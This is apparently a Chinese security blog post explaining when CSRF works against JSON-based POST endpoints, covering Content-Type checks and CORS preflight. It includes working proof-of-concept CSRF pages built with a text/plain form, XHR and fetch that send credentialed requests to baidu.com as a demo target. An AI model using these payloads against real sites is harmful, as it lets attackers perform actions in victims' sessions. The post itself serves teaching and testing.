浅谈JSON格式下的CSRF

前言

      最近总是遇到很多POST 传参采用 JSON 格式的场景,对于怎么验证该接口是否具有CSRF漏洞做了一些总结。

前提知识

       在一般情况下采用 Json 格式传输参数时,请求包中都有 Content-Type 头,一般服务器也会验证 Content-Type 值是否为 application/json,当服务器验证 Content-Type 时,若不符合要求,则会报错,导致传输的数据失效。

      当简单的采用表单传输简单参数时,Content-Type 值为:x-www-form-urlencoded,传输的数据会被 URL 编码,传输文件时值为:form-data
给表单添加 enctype="text/plain" 属性时,Content-type 值为:text/plain。

      如果使用 XMLHttpRequest 跨域发起请求时,浏览器首先会先进行一次 OPTIONS 预检测,检查当前域名是否支持跨域,是否在CORS白名单内。如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错。

思考、Content-Type: application/json 一般情况下为什么不会出现csrf?

 当利用json格式参数加content-type校验,其主要特点是通过json格式发送数据,而服务端限制content-type的格式只能为application/json。这种方式能防御CSRF的主要原因是:

1.在利用form表单构造post请求时,enctype属性并不支持application/json格式,浏览器在发送请求时会将content-type转为application/x-www-form-urlencoded,从而无法通过content-type限制

2.如果想要突破content-type限制,则需要设置自定义Header,此处可以利用XMLHttpRequests或js fetch,但这两种方法都无法完成跨域。因为攻击请求必须修改content-type为application/json才能绕过限制,但是这样的话会导致从而攻击请求就变成了非简单请求,这样在服务端预检请求的时候不会被通过,浏览器也就不会发送后续请求。

接下来我们来验证一下

1、如果服务端没有严格验证Content-type的情况下,可以直接构造json格式的poc

POC如下:

<!DOCTYPE html>
<html>
<head>
	<title>Json_CSRF</title>
	<meta charset="utf-8">
</head>
<body>
<form id="test" enctype="text/plain" action="http://baidu.com" method="post">
	<input name='{"title":"JSON-CSRF","content":"123erty","id":"234544","test":"' value='test"}'>
</form>
<script type="text/javascript">
	document.getElementById("test").submit();
</script>
</body>
</html>

2、如何严格验证Content-type的情况下

  •  利用js中XHR构造POC
    <!DOCTYPE html>
    <html>
    <head>
    	<title>Json_CSRF</title>
    	<meta charset="utf-8">
    </head>
    <body>
    <script type="text/javascript">
    	function csrf(){
    	      var xmlhttp = new XMLHttpRequest();
    	      xmlhttp.open("POST","https://baidu.com",true);
    	      xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
    	      xmlhttp.withCredentials = true;
    	      xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"3tfdsa2","id":"234665"}));;
    	}
    	csrf();
    </script>
    </body>
    </html>
  • 抓包分析会发现首先浏览器会发送一共OPTIONS请求进行预检,查询当前域名是否支持跨域。

  • 8e00d73a500d4adf8e8ebbbe72ab731d.png

   "预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

除了Origin字段,"预检"请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是POST。

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是content-type

如果允许跨域会返回如下信息:

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: content-type
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

如果不支持跨域则:

HTTP/1.1 302 Found
Bdpagetype: 3
Content-Length: 154
Content-Type: text/html
Date: Thu, 20 Jun 2024 09:55:45 GMT
Location: https://www.baidu.com/search/error.html
Server: BWS/1.1
Set-Cookie: BDSVRTM=0; path=/
Traceid: 171887734505571666029681580941251601846
X-Ua-Compatible: IE=Edge,chrome=1
X-Xss-Protection: 1;mode=block
Connection: close

<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx</center>
</body>
</html>

事实上百度是不支持的。

  事实上利用js fetch构造poc和XHR是一样的效果。POC如下:

<script>
      function csrf(){
            fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"JSON-CSRF","content":"2345hgfds","id":"23456543"}'});
      }
      csrf();
</script>

    总结:只有允许跨域的情况下才能实现json格式下的csrf,否则就是能绕过cors。因为在json格式下,如果服务端没有严格校验Content-Type时,可以构造poc直接进行利用,如果是严格校验Content-Type为json时,如果利用XHR设置格式为json进行跨域在服务器设置了cors的情况下会先进行options预检,服务器会检查当前域名是否在白名单内,如果在就正常发送XMLHttpRequest请求如果不在就报错。

 所以json格式下的CSRF产生只有两种情况:

 1、没有严格校验Content-Type。

 2、在存在CORS漏洞的前提下进行利用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值